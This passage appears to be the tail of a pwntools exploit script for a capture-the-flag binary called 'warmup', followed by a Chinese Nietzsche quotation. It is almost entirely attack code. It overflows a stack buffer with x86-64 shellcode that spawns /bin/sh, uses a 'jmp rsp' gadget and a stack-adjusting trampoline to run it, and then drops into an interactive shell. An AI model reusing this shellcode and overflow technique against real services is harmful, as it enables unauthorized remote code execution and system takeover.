sh.sendline(auth)
#sh=process('./warmup')
sh.recvrepeat(timeout = 1)
jmp_rsp=0x00400605
shellcode='\x50\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05'
payload = flat([shellcode,'A' * (0x8+0x50-len(shellcode)), jmp_rsp,0x0])
payload = payload+'\x48\x83\xEC\x60\xFF\xE4'
sh.sendline(payload)
sh.recvrepeat(timeout = 1)
sh.interactive()


当你在凝视深渊的时候 深渊也正在凝视着你